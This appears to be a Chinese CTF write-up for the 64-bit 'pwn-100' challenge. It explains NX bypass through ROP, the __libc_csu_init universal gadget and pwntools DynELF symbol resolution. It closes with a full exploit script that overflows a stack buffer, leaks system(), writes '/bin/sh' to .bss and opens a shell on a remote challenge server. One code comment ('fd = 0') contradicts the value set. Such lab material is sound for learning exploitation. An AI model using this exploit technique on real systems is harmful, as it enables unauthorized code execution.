pwn-100

先使用checksec查看文件属性

RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表

这里只开启了Partial RELRO 和 NX,绕过NX的方法为ROP

NX位(No eXecute bit)是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行。由于该保护方式的使用,直接向内存中写入shellcode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护

关于ROP技术
https://www.jianshu.com/p/f3ebf8a360f0
https://www.cnblogs.com/ichunqiu/p/9288935.html

使用IDA打开程序进行分析

关于read()函数
函数定义:ssize_t read(int fd, void * buf, size_t count);
函数说明:read()会把参数fd所指的文件传送count 个字节到buf 指针所指的内存中

这里a1即是传入的参数v1只有0x40个字节,但read函数可输入200个字节(a2传入的值为200),因此这里存在栈溢出

再查看程序发现没有可用的system()函数,没有 /bin/sh 字符串,也没有libc。但是有put()输出函数,和read()读入函数

破解思路:

利用DynELF模块,借助put()函数构造ROP泄露出system()函数的地址,再借助read()函数构造ROP想内存写入 /bin/sh 字符串,最后调用system("/bin/sh")获取flag

现在来准备一些破解需要的东西

gdb-peda$ vmmap -- 可以用来查看栈、bss段是否可以执行

使用该命令查看可写入 /bin/sh 字符串的地址


binsh_addr = 0x00601000

此程序为64位前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9中,如果还有更多的参数的话才会保存在栈上。

put()函数的参数只有一个,使用gadget1:pop rdi ; ret即可

ROPgadget --binary pwn100 --only "pop|ret" | grep rdi

使用该命令查找gadget1,gadget1_addr = 0x400763

read()函数的参数有三个,我们没有找到类似于类似于pop rdi, ret,pop rsi, ret这样的gadgets,这里就可以使用 x64 下的通用Gadget
详情见:
https://blog.csdn.net/qq_35519254/article/details/76531033
https://xz.aliyun.com/t/5597

只要Linux x64 的程序中调用了 libc.so,程序中就会自带一个很好用的通用Gadget:__libc_csu_init(),程序都会有这个函数用来对libc进行初始化操作,使用以下命令观察这个函数

objdump -d ./pwn-100

gadget2 = 0x40075a ,该段的作用是将栈里的数据依次 pop 到 rbx,rbp,r12,r13,r14,r15
gadget3 = 0x400740 ,该段的作用是将r13,r14,r15中的数据依次复制到rdx,rsi,rdi中,这正是x64传参的前三个寄存器,所以就可以利用这两个gadget给read()的参数进行赋值了
从0x400746这开始将执行 callq *(%r12,%rbx,8)
该内存引用方式为:

segment-override:signed-offset(base,index,scale)
adres = base adres + index * multipler base adres

所以如果bx = 0,我们就可以直接调用 r12 处的函数,则bx应该赋值为0
接着将rbx加一,然后再把rbp与rbx进行比较,如果它们不相等就会跳转到jne处的地址,如果不相等就会继续往下执行。
__libc_csu_init()通用gadget的用法是:将rbp赋值为1,使其与rbx相等不发生跳转,再将后面的栈填充56个'\x00'(这gadget至少需要 56 个字节的栈空间),最后填上要填入返回地址即可

我们还将用到DynELF模板,需要构造一个leak函数,作为其参数,基本框架如下:

DynELF是pwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址内存泄漏函数的情况下,可以解析任意加载库的任意符号地址

puts()函数的情况不同于write()函数,该函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,需要分两种情况处理
(1)puts输出完后就没有其他输出

(2)puts输出完后还有其他输出

详情见:https://www.meiwen.com.cn/subject/ksiohftx.html

exp:

#!usr/bin/python
# -*- coding:utf-8  -*-
from pwn import *

p = remote('111.198.29.45',34711)
elf = ELF("./pwn-100")

puts_addr = elf.plt['puts']
read_addr = elf.got['read']
start_addr = 0x400550 #返回地址
gadget1_addr = 0x400763 # pop rdi;ret
gadget2_addr = 0x40075A # pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret
gadget3_addr = 0x400740 # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,%edi......
binsh_addr = 0x601000 #写入/bin/sh的地址


def leak(addr):
  payload = "a" * 0x48 #填充到返回地址
  payload += p64(gadget1_addr)
  payload += p64(addr) # rdi = addr
  payload += p64(puts_addr) #ret到puts()函数的地址
  payload += p64(start_addr) #puts()函数结束后的返回地址
  payload = payload.ljust(200,"a") #将payload继续填充到200个字符,否则程序不会进行下一步
  p.send(payload)
  p.recvuntil("bye~\n") #一定在puts()前释放完输出,puts()输出时自动在后面加上/n
  up = ""
  content = ""
  count = 0
  while True:
    c = p.recv(numb = 1, timeout = 0.5)
      #由于接受完标志字符串结束的回车符/n后,就没有其他输出了,故先等待0.5秒中,如果确实接受不到了,就说明输出结束了
      #以便与不是标准字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串""
    count += 1
    if up == '\n' and c == "": #接收到的上一个字符为回车符,而当前接收不到新字符,则
        content = content[:-1] + '\x00' #去除puts函数输出的末尾回车字符
        break
    else:
        content += c
        up = c
  content = content[:4]
  return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system','libc')

#调用read()函数
payload = 'a' *0x48
payload += p64(gadget2_addr)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(read_addr) # r12 = read_addr
payload += p64(8) # r13 = 8,count;读入8个字节
payload += p64(binsh_addr) # r14 = binsh_addr,* buf = binsh_adr;读入到binsh所指的内存中去
payload += p64(1) # r15 = 0,fd = 0;标准输入
payload += p64(gadget3_addr)
payload += '\x00' * 56
payload += p64(start_addr)
payload = payload.ljust(200,'b')

#输入/bin/sh
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")

#调用system()函数
payload = 'a' * 0x48
payload += p64(gadget1_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,'b')

p.send(payload)
p.interactive()

补充:

ljust()方法语法:
str.ljust(width[, fillchar])
width -- 指定字符串长度
fillchar -- 填充字符,默认为空格
返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写

你可能感兴趣的:(pwn-100)